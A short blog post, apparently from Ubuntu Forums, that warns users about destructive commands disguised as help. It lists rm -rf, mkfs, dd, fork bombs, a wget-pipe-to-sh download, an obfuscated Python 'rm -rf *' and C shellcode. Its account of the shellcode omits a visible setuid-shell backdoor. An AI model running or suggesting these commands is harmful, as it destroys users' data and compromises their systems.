Daily Cup of Tech

There are a number of unscrupulous people out there that are trying to, for whatever reason, get you to cause serious damage to your Ubuntu system.  They do this under the guise of helping you and they get you to type in these commands to “fix” your system.

I believe that knowledge is power. And I understand that this post couple be used to teach people how to do this exact thing.  But I also believe that making people aware of these dangers is the best way to inoculate them.

Delete All Files in Directory and Directory Above

rm -rf /
rm -rf .
rm -rf *
rm -r .[^.]*

Reformat Devices

Anything mentioned after the command will be reformatted blank.

mkfs
mkfs.ext3
mkfs.anything

Block Device Manipulation

Writes raw data to the device and often destroys it.

any_command > /dev/sda
dd if=something of=/dev/sda

Fork Bombs

Runs a massive amount of processes until the system locks up.

Bash:
:(){:|:&};:

Perl:
fork while fork

Tar Bomb

File extract into a massive number of folders and files, potentially injecting files into the operating system.  This can make your system useless.

Decompression Bomb

You are asked to download a relatively small file which contains highly compressed data.  Wheb extracted, it could take up gigs of data that may even fill up your entire hard drive and bring you system to a grinding halt.

Malicious Shell Scripts

You are asked to download and run a shell script that can contain any number of deadly commands.

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

Compiling Code

You are given or type in the source code which you then compile on your system and reek havoc on your system.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This actually runs rm -rt ~ / & which destroys all the home directories!

Something similar in Python:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Conclusion

So, if you are getting some help with your Ubuntu system, make sure you trust the person you are getting help from!

[Ubuntu Forums]

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